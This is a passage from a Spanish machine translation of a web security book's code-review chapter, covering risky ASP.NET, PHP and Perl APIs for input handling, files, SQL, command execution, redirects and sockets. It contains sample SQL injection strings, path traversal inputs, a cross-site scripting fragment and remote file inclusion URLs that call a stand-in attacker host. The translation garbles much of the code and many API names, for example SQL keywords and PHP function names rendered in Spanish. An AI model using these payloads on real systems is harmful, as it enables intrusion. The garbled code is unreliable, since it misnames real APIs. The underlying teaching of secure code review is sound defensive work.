propiedad devuelve una colección combinada de todos estos tipos de parámetros.
Artículo Devuelve el elemento con nombre dentro de la colección Params.
Formulario Devuelve una colección de los nombres y valores de las variables de formulario
enviadas por el usuario.
cadena de consulta Devuelve una colección de nombres y valores de variables dentro de la
cadena de consulta en la solicitud.
Variables del servidor Devuelve una colección de los nombres y valores de una gran cantidad
de variables de servidor ASP (similares a las variables CGI). Esto incluye

los datos sin procesar de la solicitud, la cadena de consulta, el método de
solicitud, el encabezado del host HTTP y
pronto.
Encabezados Los encabezados HTTP en la solicitud se almacenan como un mapa de

nombres de cadena a valores de cadena y se puede acceder a ellos mediante
esta propiedad.
URL Devuelve los detalles de la URL contenida en la solicitud, incluida la

URL sin procesar
cadena de consulta.
URL de referencia Devuelve información sobre la URL especificada en el encabezado HTTP

Referer en la solicitud.
API DESCRIPCIÓN
Galletas Devuelve una colección de objetos Cookie, que contienen detalles de

las cookies recibidas en la solicitud, incluidos sus nombres y valores.
archivos Devuelve una colección de archivos cargados por el usuario.
Flujo de entrada Devuelve diferentes representaciones de la solicitud sin procesar

recibida del cliente y, por lo tanto, puede usarse para acceder a
lectura binaria
cualquier información obtenida por todas las demás API.
Método Http Devuelve el método utilizado en la solicitud HTTP.
Navegador Devuelve los detalles del navegador del usuario, tal como se envió
en el encabezado HTTP User-Agent.
Agente de usuario
Aceptar tipos Devuelve una matriz de cadenas de tipos MIME admitidos por el cliente,
tal como se envió en el encabezado de aceptación de HTTP.
Idiomas de usuario Devuelve una matriz de cadenas que contiene los idiomas
aceptados por el cliente, tal como se envían en el encabezado
HTTP Accept-Language.
Las aplicaciones ASP.NET pueden interactuar con la sesión del usuario para almacenar y recuperar
información de varias formas.
La propiedad Session proporciona una forma sencilla de almacenar y recuperar información
dentro de la sesión actual. Se accede a ella de la misma forma que a cualquier otra colección
indexada:
Sesión[“MiNombre”] = txtMiNombre.Text; // almacenar el nombre del usuario

lblBienvenido.Text = “Bienvenido “+Sesión[“MiNombre”]; // recupera el nombre del usuario
Los perfiles de ASP.NET funcionan de manera muy similar a la propiedad Session , excepto que
están vinculados al perfil del usuario y, por lo tanto, en realidad persisten en diferentes sesiones
que pertenecen al mismo usuario. Los usuarios se vuelven a identificar en las sesiones, ya sea a
través de la autenticación o mediante una cookie persistente única. Los datos se almacenan y
recuperan en el perfil del usuario de la siguiente manera:
Perfil.MiNombre = txtMiNombre.Text; // almacenar el nombre del usuario

lblBienvenido.Text = “Bienvenido” + Perfil.MiNombre; // recupera el nombre del usuario
La clase System.Web.SessionState.HttpSessionState proporciona otra forma

de almacenar y recuperar información dentro de la sesión. Almacena información
como una asignación de nombres de cadenas a valores de objetos, a los que se puede acceder mediante
las API enumeradas en la Tabla 19-5.
Tabla 19-5: API utilizadas para interactuar con la sesión del usuario en la plataforma ASP.NET
API DESCRIPCIÓN
Agregar Agrega un nuevo elemento a la colección de sesiones.
Artículo Obtiene o establece el valor de un elemento con nombre de la colección.
Llaves Devuelve los nombres de todos los elementos de la colección.
ObtenerEnumerador
Copiar a Copia la colección de valores a una matriz.

Esta sección describe algunas API de ASP.NET comunes que pueden presentar vulnerabilidades de
seguridad si se usan de manera no segura.
Acceso a archivos
System.IO.File es la clase principal utilizada para acceder a archivos en ASP.NET. Todos sus métodos
relevantes son estáticos y no tiene un constructor público.
Los 37 métodos de esta clase toman un nombre de archivo como parámetro. Las vulnerabilidades de
cruce de rutas pueden existir en todos los casos en los que se pasan datos controlables por el usuario sin
verificar las secuencias de punto-punto-barra. Por ejemplo, el siguiente código abre un archivo en la raíz
de la unidad C:\ en Windows:
cadena de entrada de usuario = “..\\boot.ini”;

FileStream fs = File.Open(“C:\\temp\\” + entrada de usuario,
FileMode.OpenOrCreate);
Las siguientes clases se usan más comúnmente para leer y escribir archivos
contenido:
n Sistema.IO.FileStream
n Sistema.IO.StreamReader
n System.IO.StreamWriter
Tienen varios constructores que toman una ruta de archivo como parámetro. Estos
pueden introducir vulnerabilidades de cruce de ruta si se pasan datos controlables por el usuario.
Por ejemplo:
cadena de entrada de usuario = “..\\foo.txt”;

FileStream fs = new FileStream(“F:\\tmp\\” + entrada de usuario, FileMode.OpenOrCreate);
Se pueden usar numerosas API para acceder a la base de datos dentro de ASP.NET. Las
siguientes son las clases principales que se pueden usar para crear y ejecutar una instrucción SQL:
n System.Data.SqlClient.SqlCommand
n System.Data.SqlClient.SqlDataAdapter
n Sistema.Datos.Oledb.OleDbCommand
n System.Data.Odbc.OdbcCommand
n System.Data.SqlServerCe.SqlCeCommand
Cada una de estas clases tiene un constructor que toma una cadena que contiene una declaración
SQL. Además, cada uno tiene una propiedad CommandText que se puede usar para obtener y
establecer el valor actual de la instrucción SQL. Cuando un objeto de comando se ha configurado
adecuadamente, se ejecuta a través de una llamada a uno de los diversos métodos Execute .
Si la entrada controlable por el usuario es parte de la cadena que se ejecuta como una consulta, el
La aplicación es probablemente vulnerable a la inyección de SQL. Por ejemplo:
string nombre de usuario = “admin' o 1=1--”;

contraseña de cadena = "foo";
'”
OdbcCommand c = new OdbcCommand ("SELECCIONE * DE usuarios DONDE nombre de usuario =
+ nombre de usuario +
“'
“' Y contraseña = + contraseña + “'”, conexión);
c.ExecuteNonQuery();
SELECCIONE * DE usuarios DONDE nombre de usuario = 'admin' o 1=1--'

Y contraseña = 'foo'
Cada una de las clases enumeradas admite sentencias preparadas a través de su propiedad
Parámetros , lo que permite que una aplicación cree una sentencia SQL que contenga marcadores
de posición de parámetros y establezca sus valores de forma segura y con seguridad de tipos. Si se
usa según lo previsto, este mecanismo no es vulnerable a la inyección de SQL. Por ejemplo:
string nombre de usuario = “admin' o 1=1--”;

contraseña de cadena = "foo";
OdbcCommand c = new OdbcCommand ("SELECCIONE * DE usuarios DONDE nombre de usuario =
@nombre de usuario Y contraseña = @contraseña”, conexión);
c.Parameters.Add(new OdbcParameter(“@username”, OdbcType.Text).Valor =
nombre de usuario);
c.Parameters.Add(nuevo OdbcParameter(“@contraseña”, OdbcType.Text).Valor =

clave);
c.ExecuteNonQuery();
SELECCIONE * DE usuarios DONDE nombre de usuario = 'admin'' o 1=1--'

La función Eval de VBScript toma un argumento de cadena que contiene una

expresión de VBScript. La función evalúa esta expresión y devuelve el resultado.
Si se incorporan datos controlables por el usuario en la expresión que se evaluará,
podría ser posible ejecutar comandos arbitrarios o modificar la lógica de la aplicación.
Las funciones Execute y ExecuteGlobal toman una cadena que contiene código
ASP, que ejecutan como si el código apareciera directamente dentro del propio script.
El delimitador de dos puntos se puede usar para agrupar varias declaraciones. Si se pasan
datos controlables por el usuario a la función Ejecutar , la aplicación probablemente sea
vulnerable a la ejecución de comandos arbitrarios.
Las siguientes API se pueden usar de varias maneras para iniciar un proceso externo desde
una aplicación ASP.NET:
n Sistema.Diagnóstico.Inicio.Proceso
n System.Diagnostics.Start.ProcessStartInfo
Se puede pasar una cadena de nombre de archivo al método estático Process.Start , o la

propiedad StartInfo de un objeto Process se puede configurar con un nombre de archivo antes
de llamar a Start en el objeto. Si el usuario puede controlar completamente la cadena del
nombre del archivo, la aplicación es casi seguro vulnerable a la ejecución de comandos
arbitrarios. Por ejemplo, lo siguiente hace que se ejecute el programa de cálculo de Windows :
cadena de entrada de usuario = "calc";

Process.Start (entrada de usuario);
Si el usuario controla solo una parte de la cadena pasada a Inicio, la aplicación

todavía puede ser vulnerable. Por ejemplo:
string entrada de usuario = “..\\..\\..\\Windows\\System32\\calc”;

Process.Start(“C:\\Program Files\\MyApp\\bin\\” + entrada de usuario);
La API no interpreta metacaracteres de shell como & y |, ni acepta argumentos de

línea de comandos dentro del parámetro de nombre de archivo. Por lo tanto, este tipo de
ataque es el único que probablemente tenga éxito cuando el usuario controla solo una
parte del parámetro de nombre de archivo.
Los argumentos de la línea de comandos para el proceso iniciado se pueden establecer
mediante la propiedad Arguments de la clase ProcessStartInfo . Si solo el parámetro
Argumentos es controlable por el usuario, la aplicación aún puede ser vulnerable a algo más
que a la ejecución del código. Por ejemplo, si una aplicación ejecuta el programa wget con un
parámetro controlable por el usuario como la URL de destino, un atacante puede pasar
parámetros peligrosos de la línea de comandos al proceso wget . Para
Por ejemplo, el proceso podría descargar un documento y guardarlo en una ubicación

arbitraria en el sistema de archivos.
Redirección de URL
Las siguientes API se pueden usar para emitir una redirección HTTP en ASP.NET:
n Sistema.Web.HttpResponse.Redirect
n Sistema.Web.HttpResponse.Estado
n Sistema.Web.HttpResponse.StatusCode
n System.Web.HttpResponse.AddHeader
n System.Web.HttpResponse.AppendHeader
n Servidor.Transferir
El medio habitual de provocar una respuesta de redirección es a través de HttpResponse.

Método de redirección , que toma una cadena que contiene una URL relativa o absoluta.
Si el valor de esta cadena es controlable por el usuario, la aplicación probablemente sea más
vulnerable a un vector de phishing.
También debe asegurarse de revisar cualquier uso de las propiedades Status/StatusCode y
los métodos AddHeader/AppendHeader . Dado que una redirección simplemente implica una
respuesta 3xx que contiene un encabezado de ubicación HTTP, una aplicación puede implementar
redirecciones utilizando estas API.
El método Server.Transfer también se usa a veces para realizar la redirección . Sin embargo,
esto de hecho no provoca una redirección HTTP. En su lugar, simplemente cambia la página que
se procesa en el servidor en respuesta a la solicitud actual. En consecuencia, no se puede
subvertir para causar la redirección a una URL fuera del sitio, por lo que suele ser menos útil para
un atacante.
Enchufes
La clase System.Net.Sockets.Socket se utiliza para crear sockets de red. Una vez que se ha
creado un objeto Socket , se conecta a través de una llamada al método Connect , que toma la IP
y los detalles del puerto del host de destino como sus parámetros. Si esta información del host
puede ser controlada por el usuario de alguna manera, la aplicación puede explotarse para
provocar conexiones de red a hosts arbitrarios, ya sea en Internet o en la DMZ privada o en la red
interna en la que se aloja la aplicación.
Configuración del entorno ASP.NET

El archivo XML Web.config en el directorio raíz web contiene los ajustes de
configuración para el entorno ASP.NET, enumerados en la Tabla 19-6, y controla
cómo se comportan las aplicaciones.
Tabla 19-6: Ajustes de configuración relevantes para la seguridad para el entorno ASP.NET
AJUSTE DESCRIPCIÓN
httpCookies Determina la configuración de seguridad asociada a las cookies. Si el atributo

httpOnlyCookies se establece en verdadero, las cookies se marcan como
HttpOnly y, por lo tanto, no se puede acceder directamente desde los scripts del
lado del cliente. Si el atributo requireSSL se establece en verdadero, las cookies se
marcan como seguras y, por lo tanto, los navegadores las transmiten solo dentro
de las solicitudes HTTPS.
estado de sesión Determina cómo se comportan las sesiones. El valor del atributo de tiempo de
espera determina el tiempo en minutos después del cual expirará una sesión
inactiva. Si el elemento regenerateExpiredSessio nId se establece en verdadero
(que es el valor predeterminado), se emite una nueva ID de sesión cuando se
recibe una ID de sesión caducada.
Compilacion Determina si los símbolos de depuración se compilan en páginas, lo que da

como resultado una información de error de depuración más detallada.
Si el atributo de depuración se establece en verdadero, se incluyen símbolos
de depuración.
errores personalizados Determina si la aplicación devuelve mensajes de error detallados en caso de

un error no controlado. Si el atributo de modo está establecido en Activado o Solo
remoto, la página identificada por el atributo de redirección predeterminada se
muestra a los usuarios de la aplicación en lugar de los mensajes detallados
generados por el sistema.
httpRuntime Determina varias configuraciones de tiempo de ejecución. Si el atributo

enableHeader Checking se establece en verdadero (que es el valor predeterminado), ASP.
NET comprueba los encabezados de las solicitudes en busca de posibles
ataques de inyección, incluidas las secuencias de comandos entre sitios. Si el
atributo enableVersionHeader se establece en verdadero (que es el valor
predeterminado), ASP.NET genera una cadena de versión detallada, que puede
ser útil para un atacante en la investigación de vulnerabilidades en versiones
específicas de la plataforma.
Si los datos confidenciales, como las cadenas de conexión de la base de datos, se almacenan en el
archivo de configuración , deben cifrarse mediante la función de "configuración protegida" de ASP.NET.
PHP
Esta sección describe formas de adquirir entradas proporcionadas por el usuario, formas de
relevantes para la seguridad en la plataforma PHP.
PHP usa un rango de variables de matriz para almacenar datos enviados por el usuario, como se muestra en
la Tabla 19-7.
Tabla 19-7: Variables utilizadas para adquirir datos proporcionados por el usuario en la plataforma PHP
VARIABLE DESCRIPCIÓN
$_GET Contiene los parámetros enviados en la cadena

de consulta. A estos se accede por nombre. Por
$HTTP_GET_VARS
ejemplo, en la siguiente URL:
https://wahh-app.com/search.php?query=foo
se accede al valor del parámetro de consulta

mediante:
$_GET['consulta']
$_POST Contiene los parámetros enviados en el cuerpo

de la solicitud.
$HTTP_POST_VARS
$_COOKIE Contiene las cookies enviadas en la solicitud.
$HTTP_COOKIE_VARS
$_SOLICITUD Contiene todos los elementos de las matrices

$_GET, $_ POST y $_COOKIE.
$_ARCHIVOS Contiene los archivos cargados en la

solicitud.
$HTTP_POST_FILES
$_SERVIDOR['SOLICITUD_MÉTODO'] Contiene el método utilizado en la solicitud HTTP.
$_SERVIDOR['QUERY_STRING'] Contiene la cadena de consulta completa enviada

en la solicitud.
$_SERVIDOR['SOLICITUD_URI'] Contiene la URL completa contenida en la solicitud.
$_SERVIDOR['HTTP_ACCEPT'] Contiene el contenido del encabezado de

aceptación HTTP.
$_SERVER['HTTP_ACCEPT_CHARSET'] Contiene el contenido del HTTP

Encabezado accept-charset.
$_SERVIDOR['HTTP_ACCEPT_ Contiene el contenido del encabezado de

CODIFICACIÓN'] codificación de aceptación HTTP.
$_SERVIDOR['HTTP_ACCEPT_ Contiene el contenido del encabezado de

IDIOMA'] idioma de aceptación HTTP.
$_SERVIDOR['HTTP_CONEXIÓN'] Contiene el contenido del encabezado de

conexión HTTP.
$_SERVIDOR['HTTP_HOST'] Contiene el contenido del encabezado del host HTTP.
Continuado
Tabla 19-7 (continuación)
VARIABLE DESCRIPCIÓN
$_SERVIDOR['HTTP_REFERER'] Contiene el contenido del encabezado HTTP

Referer.
$_SERVIDOR['HTTP_USER_AGENT'] Contiene el contenido del encabezado del

agente de usuario HTTP.
$_SERVIDOR['PHP_SELF'] Contiene el nombre del script que se está

ejecutando actualmente. Aunque el nombre de la
secuencia de comandos en sí está fuera del control
de un atacante, la información de la ruta se puede
agregar a este nombre. Por ejemplo, si un script
contiene el siguiente código:
<acción de formulario=”<?= $_
SERVIDOR['PHP_SELF'] ?>”>
un atacante puede crear un ataque de secuencias de comandos
entre sitios de la siguiente manera:
/buscar.php/”><script>
etcétera.
Debe tener en cuenta varias anomalías al intentar identificar

formas en que una aplicación PHP accede a la entrada proporcionada por el usuario:
n $GLOBALS es una matriz que contiene referencias a todas las variables definidas en el
ámbito global del script. Se puede utilizar para acceder a otras variables por su nombre. n Si
la directiva de configuración register_globals está habilitada, PHP crea variables globales para
todos los parámetros de solicitud, es decir, todo lo contenido en la matriz $_REQUEST .
Esto significa que una aplicación puede acceder a la entrada del usuario simplemente
haciendo referencia a una variable que tiene el mismo nombre que el parámetro relevante.
Si una aplicación utiliza este método para acceder a los datos proporcionados por el usuario,
es posible que no haya otra forma de identificar todas las instancias de esto que no sea a
través de una cuidadosa revisión línea por línea del código base para encontrar las variables
utilizadas de esta manera. n Además de los encabezados HTTP estándar identificados
anteriormente, PHP agrega una entrada a la matriz $_SERVER para cualquier encabezado
HTTP personalizado recibido en la solicitud. Por ejemplo, proporcionando el encabezado:
Foo: Bar
causas:
$_SERVER['HTTP_FOO'] = “Barra”
n Los parámetros de entrada cuyos nombres contienen subíndices entre corchetes se convierten
automáticamente en matrices. Por ejemplo, solicitando esta URL:
https://wahh-app.com/search.php?query[a]=foo&query[b]=bar
hace que el valor de la variable $_GET['query'] sea una matriz que contiene dos
miembros. Esto puede provocar un comportamiento inesperado dentro de la aplicación si
se pasa una matriz a una función que espera un valor escalar.
PHP usa la matriz $_SESSION como una forma de almacenar y recuperar información dentro
de la sesión del usuario. Por ejemplo:
$_SESSION['MiNombre'] = $_GET['nombre de usuario']; // almacenar el nombre del usuario

eco "Bienvenido" . $_SESSION['MiNombre']; // recupera el nombre del usuario
La matriz $HTTP_SESSION_VARS se puede usar de la misma manera.

Si register_globals está habilitado (como se explica en la sección posterior “Configuración
del entorno PHP”), las variables globales se pueden almacenar dentro de la sesión actual de
la siguiente manera:
$MiNombre = $_GET['nombre de usuario'];

session_register(“MiNombre”);

Esta sección describe algunas API de PHP comunes que pueden presentar vulnerabilidades de
seguridad si se usan de manera no segura.
Acceso a archivos
PHP implementa una gran cantidad de funciones para acceder a archivos, muchas de las cuales
aceptan URL y otras construcciones que pueden usarse para acceder a archivos remotos.
Las siguientes funciones se utilizan para leer o escribir el contenido de un archivo específico.
Si se pasan datos controlables por el usuario a estas API, un atacante puede explotarlos para
acceder a archivos arbitrarios en el sistema de archivos del servidor.
n abierto
n leer archivo
n archivo
n fpassthru
n gzopen
n archivo gz
n gzpassthru
n readgzfile
n copia
n renombrar
n rmdir
n mkdir
n desvincular
n file_get_contents
n file_put_contents
n parse_ini_file
Las siguientes funciones se utilizan para incluir y evaluar un script PHP específico . Si un atacante
puede hacer que la aplicación evalúe un archivo que controla, puede lograr la ejecución de comandos
arbitrarios en el servidor.
n incluir
n incluir_una vez
n requiere
n requiere_una vez
n virtuales
Tenga en cuenta que incluso si no es posible incluir archivos remotos, la ejecución de comandos aún
puede ser posible si hay una forma de cargar archivos arbitrarios en una ubicación del servidor.
La opción de configuración de PHP allow_url_fopen se puede usar para evitar que algunas funciones
de archivo accedan a archivos remotos. Sin embargo, de manera predeterminada, esta opción se establece
en 1 (lo que significa que se permiten archivos remotos), por lo que los protocolos enumerados en la Tabla
19-8 se pueden usar para recuperar un archivo remoto.
Tabla 19-8: Protocolos de red que se pueden usar para recuperar un archivo remoto
PROTOCOLO EJEMPLO
HTTP, HTTPS http://wahh-atacante.com/bad.php
FTP ftp://usuario:contraseñ[email protected]/bad.php
SSH ssh2.shell://usuario:contraseñ[email protected]:22/xterm
ssh2.exec://usuario:contraseñ[email protected]:22/cmd
Incluso si allow_url_fopen se establece en 0, los métodos enumerados en la Tabla 19-9 aún

pueden permitir que un atacante acceda a archivos remotos (dependiendo de las extensiones instaladas).
Tabla 19-9: Métodos que pueden permitir el acceso a archivos remotos incluso si allow_url_fopen
se establece en 0
MÉTODO EJEMPLO
PYME \\wahh-atacante.com\malo.php
Flujos de entrada/ php://filter/resource=http://wahh-atacante. com/malo.php

salida de PHP
Corrientes de compresión compress.zlib://http://wahh-attacker.com/bad.php
Secuencias de audio ogg://http://wahh-attacker.com/bad.php
NOTA PHP 5.2 y versiones posteriores tienen una nueva opción, allow_url_include, que está
desactivada de forma predeterminada. Esta configuración predeterminada evita que cualquiera de
los métodos anteriores se utilice para especificar un archivo remoto al llamar a una de las funciones
de inclusión de archivos.
Las siguientes funciones se utilizan para enviar una consulta a una base de datos y recuperar
los resultados:
n mysql_query
n mssql_query
n pg_query
La instrucción SQL se pasa como una cadena simple. Si la entrada controlable por el
usuario es parte del parámetro de cadena, la aplicación probablemente sea vulnerable a la
inyección SQL. Por ejemplo:
$usuario = “admin' o 1=1--”;

$contraseña = “foo”;
$sql=”SELECCIONAR * DE usuarios DONDE nombre de usuario = '$nombre de usuario'
Y contraseña = '$contraseña'”;
$resultado = mysql_query($sql, $enlace)

Las siguientes funciones se pueden utilizar para crear sentencias preparadas. Esto permite
que una aplicación cree una consulta SQL que contenga marcadores de posición de parámetros
y establezca sus valores de forma segura y con seguridad de tipos:
n mysqli->preparar
n sentencia->preparar
n sentencia->bind_param
n sentencia->ejecutar
n odbc_prepare
Si se usa según lo previsto, este mecanismo no es vulnerable a la inyección de SQL. Por ejemplo:
$usuario = “admin' o 1=1--”; $contraseña =

“foo”; $sql = $db_conexión->preparar(
“SELECCIONE * DE usuarios DONDE nombre de usuario = ? Y contraseña = ?”); $sql-

>bind_param(“ss”, $usuario, $contraseña); $sql->ejecutar();

Las siguientes funciones se pueden utilizar para evaluar dinámicamente el código PHP:
evaluación _
n call_user_func
n call_user_func_array
n call_user_method
n call_user_method_array
n crear_función
El delimitador de punto y coma se puede usar para agrupar varias declaraciones. Si se pasan datos
controlables por el usuario a cualquiera de estas funciones, la aplicación probablemente sea vulnerable a
la inyección de secuencias de comandos.
La función preg_replace, que realiza una búsqueda y reemplazo de expresiones
regulares , se puede usar para ejecutar una pieza específica de código PHP en cada
coincidencia si se llama con la opción /e . Si aparecen datos controlables por el usuario en
el PHP que se ejecuta dinámicamente, la aplicación probablemente sea vulnerable.
Otra característica interesante de PHP es la capacidad de invocar funciones dinámicamente

a través de una variable que contiene el nombre de la función. Por ejemplo, el siguiente código
invoca la función especificada en el parámetro func de la cadena de consulta:
<?php
$var=$_GET['función']; $var();
?>
En esta situación, un usuario puede hacer que la aplicación invoque una

función arbitraria (sin parámetros) modificando el valor del parámetro func . Por
ejemplo, invocar la función phpinfo hace que la aplicación genere una gran
cantidad de información sobre el entorno PHP, incluidas las opciones de
configuración, la información del sistema operativo y las extensiones.
Estas funciones se pueden utilizar para ejecutar comandos del sistema operativo:
ejecutivo _
n de paso
n papa
n proc_abierto
n shell_exec
sistema n
n El operador de acento grave (`)
En todos estos casos, los comandos se pueden encadenar usando el | personaje.

Si los datos controlables por el usuario se pasan sin filtrar a cualquiera de estas funciones, la
aplicación probablemente sea vulnerable a la ejecución de comandos arbitrarios.
Redirección de URL
Las siguientes API se pueden usar para emitir una redirección HTTP en PHP:
n http_redirect
encabezado _
n HttpMessage::setResponseCode
n HttpMessage::setHeaders
La forma habitual de provocar una redirección es a través de la función http_redirect , que

toma una cadena que contiene una URL relativa o absoluta. Si el valor de
esta cadena es controlable por el usuario, la aplicación probablemente sea vulnerable a un

vector de phishing.
Los redireccionamientos también se pueden realizar llamando a la función de encabezado con
un encabezado de ubicación apropiado , lo que hace que PHP deduzca que se requiere un
redireccionamiento HTTP. Por ejemplo:
encabezado ("Ubicación: /objetivo.php");
También debe revisar cualquier uso de las API setResponseCode y setHeaders . Dado
que una redirección simplemente implica una respuesta 3xx que contiene un encabezado
de ubicación HTTP , una aplicación puede implementar redirecciones utilizando estas API.
Enchufes
Las siguientes API se pueden usar para crear y usar sockets de red en PHP:
n socket_create
n socket_conectar
n socket_escribir
n socket_enviar
n socket_recv
n calcetín abierto
n pfsockabierto
Después de que se crea un socket usando socket_create, se conecta a un host

remoto a través de una llamada a socket_connect, que toma los detalles del host y del
puerto del destino como sus parámetros. Si esta información del host es controlable por
el usuario de alguna manera, la aplicación puede explotarse para generar conexiones
de red a hosts arbitrarios, ya sea en la Internet pública o en la DMZ privada o en la red
interna en la que se aloja la aplicación.
Las funciones fsockopen y pfsockopen se pueden usar para abrir sockets a un host y
puerto específicos y devolver un puntero de archivo que se puede usar con funciones
de archivo regulares como fwrite y fgets. Si se pasan datos de usuario a estas funciones,
la aplicación puede ser vulnerable, como se describió anteriormente.
Configuración del entorno PHP

Las opciones de configuración de PHP se especifican en el archivo php.ini , que utiliza la
misma estructura que los archivos INI de Windows. Varias opciones pueden afectar la
seguridad de una aplicación. Muchas opciones que históricamente han causado problemas
se han eliminado de la última versión de PHP.
Registro Globales
Si la directiva register_globals está habilitada, PHP crea variables globales para todos los
parámetros de solicitud. Dado que PHP no requiere que las variables se inicialicen antes
de su uso, esta opción puede conducir fácilmente a vulnerabilidades de seguridad en las
que un atacante puede hacer que una variable se inicialice con un valor arbitrario.
Por ejemplo, el siguiente código verifica las credenciales de un usuario y establece la
variable $authenticated en 1 si son válidas:
if (verificar_credenciales($nombre de usuario, $contraseña))

{
$autenticado = 1;
}
...
si ($ autenticado)
{
...
Debido a que la variable $authenticated no se inicializa primero explícitamente en 0, un

atacante puede omitir el inicio de sesión enviando el parámetro de solicitud autenticado=1.
Esto hace que PHP cree la variable global $authenticated con un valor de 1 antes de
realizar la verificación de credenciales.
NOTA Desde PHP 4.2.0 en adelante, la directiva register_globals está deshabilitada

de manera predeterminada. Sin embargo, debido a que muchas aplicaciones
heredadas dependen de register_globals para su funcionamiento normal, a
menudo encontrará que esta directiva se ha habilitado explícitamente en php.ini.
La opción register_globals se eliminó en PHP 6.
Modo seguro
Si la directiva safe_mode está habilitada, PHP impone restricciones en el uso de

algunas funciones peligrosas. Algunas funciones están deshabilitadas y otras están
sujetas a limitaciones en su uso. Por ejemplo:
n La función shell_exec está deshabilitada porque se puede usar para ejecutar
comandos del sistema operativo.
n La función de correo tiene el parámetro adicionales_parámetros deshabilitado
porque el uso inseguro de este parámetro puede provocar fallas en la inyección de
SMTP (consulte el Capítulo 10). n La función exec solo se puede usar para iniciar
archivos ejecutables dentro del safe_mode_exec_dir configurado. Los metacaracteres
dentro de la cadena de comando se escapan automáticamente.
NOTA No todas las funciones peligrosas están restringidas por el modo seguro
y algunas restricciones se ven afectadas por otras opciones de configuración.
Además, hay varias formas de eludir algunas restricciones del modo seguro. El
modo seguro no debe considerarse una panacea para los problemas de seguridad
dentro de las aplicaciones PHP. El modo seguro se eliminó de la versión 6 de PHP.
Cotizaciones mágicas
Si la directiva magic_quotes_gpc está habilitada, cualquier carácter de comilla simple, comilla

doble, barra invertida y NULL contenido en los parámetros de solicitud se escapa
automáticamente mediante una barra invertida. Si la directiva magic_quotes_sybase está
habilitada, las comillas simples se escapan usando una comilla simple. Esta opción está
diseñada para evitar que el código vulnerable que contiene llamadas de base de datos no
seguras sea explotable a través de entradas de usuarios maliciosos. Al revisar el código base
de la aplicación para identificar cualquier falla de inyección de SQL, debe tener en cuenta si las
comillas mágicas están habilitadas, ya que esto afecta el manejo de la entrada de la aplicación.
El uso de comillas mágicas no evita todos los ataques de inyección SQL. Como se describe en el
Capítulo 9, un ataque que inyecta en un campo numérico no necesita usar comillas simples. Además,
los datos cuyas comillas se han escapado aún pueden usarse en un ataque de segundo orden
cuando se leen posteriormente de la base de datos.
La opción de comillas mágicas puede resultar en una modificación no deseada de la entrada del
usuario, cuando los datos se procesan en un contexto que no requiere ningún escape.
Esto puede resultar en la adición de barras que deben eliminarse mediante
la función stripslashes .
Algunas aplicaciones realizan su propio escape de entrada relevante al pasar
parámetros individuales a través de la función de barras adicionales solo cuando es necesario.
Si las comillas mágicas están habilitadas en la configuración de PHP, este enfoque da como resultado
caracteres con doble escape. Las barras inclinadas duplicadas se interpretan como barras diagonales
inversas literales, lo que deja el carácter potencialmente malicioso sin escapar.
Debido a las limitaciones y anomalías de la opción de comillas mágicas, se recomienda que
se utilicen sentencias preparadas para un acceso seguro a la base de datos y que se deshabilite
la opción de comillas mágicas.
NOTA La opción de comillas mágicas se eliminó de la versión 6 de PHP.
Misceláneas
La Tabla 19-10 enumera algunas opciones de configuración misceláneas que pueden afectar la
seguridad de las aplicaciones PHP.
Tabla 19-10: Varias opciones de configuración de PHP
OPCIÓN DESCRIPCIÓN
allow_url_fopen Si está deshabilitada, esta directiva evita que algunas funciones de

archivo accedan a archivos remotos (como se describió anteriormente).
allow_url_include Si está deshabilitada, esta directiva evita que las funciones de

inclusión de archivos PHP se utilicen para incluir un archivo remoto.
mostrar_errores Si está deshabilitada, esta directiva evita que los errores de PHP se
informen al navegador del usuario. Las opciones log_errors y error_log
se pueden utilizar para registrar información de error en el servidor
con fines de diagnóstico.
archivos_subidos Si está habilitada, esta directiva hace que PHP permita la carga de archivos a
través de HTTP.
subir_tmp_dir Esta directiva se puede utilizar para especificar el directorio temporal

utilizado para almacenar archivos cargados. Esto se puede usar para
garantizar que los archivos confidenciales no se almacenen en una ubicación
legible para todo el mundo.
Perl
Esta sección describe formas de adquirir entradas proporcionadas por el usuario, formas de
relevantes para la seguridad en la plataforma Perl.
El lenguaje Perl es conocido por permitir a los desarrolladores realizar la misma tarea de
muchas maneras. Además, se pueden utilizar numerosos módulos de Perl para cumplir con
diferentes requisitos. Cualquier módulo inusual o patentado en uso debe revisarse de cerca
para identificar si utiliza funciones poderosas o peligrosas y, por lo tanto, puede presentar
las mismas vulnerabilidades que si la aplicación hiciera uso directo de esas funciones.
CGI.pm es un módulo Perl ampliamente utilizado para crear aplicaciones web. Proporciona
las API que es más probable que encuentre al realizar una revisión de código de una
aplicación web escrita en Perl.
Las funciones listadas en la Tabla 19-11 son todas miembros del objeto de consulta CGI.
Tabla 19-11: Miembros de consulta CGI utilizados para adquirir datos proporcionados por el usuario
FUNCIÓN DESCRIPCIÓN
parámetro Llamado sin parámetros, param devuelve una lista de todos los nombres
de parámetros en la solicitud.
param_fetch
Llamado con el nombre de un parámetro, param devuelve el valor de
ese parámetro de solicitud.
El método param_fetch devuelve una matriz de los parámetros nombrados.
Vars Devuelve una asignación hash de nombres de parámetros a valores.
Galleta El valor de una cookie con nombre se puede establecer y recuperar

mediante la función de cookies.
galleta_cruda
La función raw_cookie devuelve todo el contenido del encabezado de
la cookie HTTP, sin que se haya realizado ningún análisis.
auto_url Retorna la URL actual, en el primer caso incluyendo cualquier

cadena de consulta.
URL
cadena_de_consulta Devuelve la cadena de consulta de la solicitud actual.
referente Devuelve el valor del encabezado HTTP Referer.
método_solicitud Devuelve el valor del método HTTP utilizado en la solicitud.
agente de usuario Devuelve el valor del encabezado del agente de usuario HTTP.
http Devuelve una lista de todas las variables de entorno HTTP derivadas de
la solicitud actual.
https
leeranalizar Crea una matriz denominada %in que contiene los nombres y valores
de todos los parámetros de solicitud.
El módulo de Perl CGISession.pm amplía el módulo CGI.pm y brinda soporte para el
seguimiento de sesiones y el almacenamiento de datos. Por ejemplo:
$q->datos_sesión(“MiNombre”=>param(“nombre de usuario”)); // almacenar el nombre del usuario imprimir

"Bienvenido ". $q->datos_sesión(“MiNombre”); // recupera el nombre del usuario

Esta sección describe algunas API de Perl comunes que pueden presentar
vulnerabilidades de seguridad si se usan de manera no segura.
Acceso a archivos
Las siguientes API se pueden usar para acceder a archivos en Perl:
n abierto
n sistema abierto
La función open lee y escribe el contenido de un archivo específico. Si se pasan datos

controlables por el usuario como parámetro de nombre de archivo, un atacante puede acceder
a archivos arbitrarios en el sistema de archivos del servidor.
